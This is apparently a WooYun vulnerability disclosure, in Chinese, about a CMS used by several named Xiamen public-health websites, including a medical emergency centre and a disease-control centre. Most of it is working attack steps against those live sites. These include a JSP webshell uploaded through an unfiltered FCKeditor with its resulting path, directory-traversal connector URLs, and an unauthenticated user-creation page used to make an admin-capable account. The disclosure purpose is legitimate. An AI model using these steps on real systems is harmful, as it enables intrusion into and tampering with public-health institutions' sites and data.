WooYun.org

厦门网格科技有限公司成立于2002年，经过几年的努力，公司已成为公共卫生行业、烟草商业行业、政府教育行业、公安系统等细分市场领域中的IT专业服务和应用软件解决方案提供商，解决方案涵盖“公共卫生行业应用”、“医疗行业IT信息化建设”、“RFID传感器（物联网）网络应用”、“全面资产资金管理应用”及“计算机网络信息增值服务”等多方面
案例：
厦门市医疗急救中心http://www.xm120.net/120news/
厦门市疾病预防控制中心http://www.xmcdc.com.cn/cdcnews/
厦门市思明区卫生局卫生监督所http://www.smwsjd.com/smwsjd/
厦门市湖里区卫生局卫生监督所http://www.hlwsjd.com/hlnews/
厦门市卫生监督信息网http://www.xmwsjd.com/wsjd/
以下以厦门市医疗急救中心为例
1#任意文件上传
该漏洞的产生原因是因为编辑器的不正确配置造成的，该系统使用了jsp版本的fckeditor编辑器，但上传时未对jsp、jspx文件进行过滤
http://www.xm120.net/120news//FCKeditor/_samples/default.html

fck编辑器上传未过滤jsp，可直接上传shell

一句话http://www.xm120.net//120news/UserFiles/Image/1.jsp 密码：

2#目录遍历
也是因为FCK，
http://www.xm120.net/120news/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../../

3#新增用户页面未授权，访问造成的普通用户升级为管理员
http://www.xm120.net/120news/admin/user_add.jsp

好像所有文本框都必须填上，百度了个身份证

后台的登录页在这http://www.xm120.net/120news/admin/login.jsp
利用刚注册的帐号wooyun/123456登录

该站用户不用授权，部分站点需要（先登录创建的帐号，之后）到http://*/*/cd/right_right.jsp中给刚才新增的帐号赋权限，其实我们利用的就是一个登录的session，

图中可以看到该站没有right_right.jsp，所以也不用赋权限了。

直接对网站所有内容进行管理
还有一些未授权的，太多了，我举几个例子
http://*/*/cd/file_list.jsp
http://*/*/news/news_list.jsp
http://*/*/cd/right_right.jsp

操作简单，下面看看厦门市湖里区卫生局卫生监督所
http://www.hlwsjd.com/hlnews//FCKeditor/_samples/default.html

上传报504，不知是程序做了处理还是存在WAF，

jspx可以传，但是连纯文本都无法显示，怪怪的，考虑跨目录上传，也失败。
跳过上传，试一下新增用户http://www.hlwsjd.com/hlnews/admin/user_add.jsp

其实未授权的情况下，已经可以操作新闻，上传删除附件等等操作了
http://www.hlwsjd.com/hlnews/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../

http://www.hlwsjd.com/hlnews/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../..

http://www.xmcdc.com.cn/cdcnews/FCKeditor/_samples/default.html
http://www.xmcdc.com.cn/cdcnews//FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../../

简而言之，fck上传不一定全部有效，但目录遍历及未授权访问，绝对存在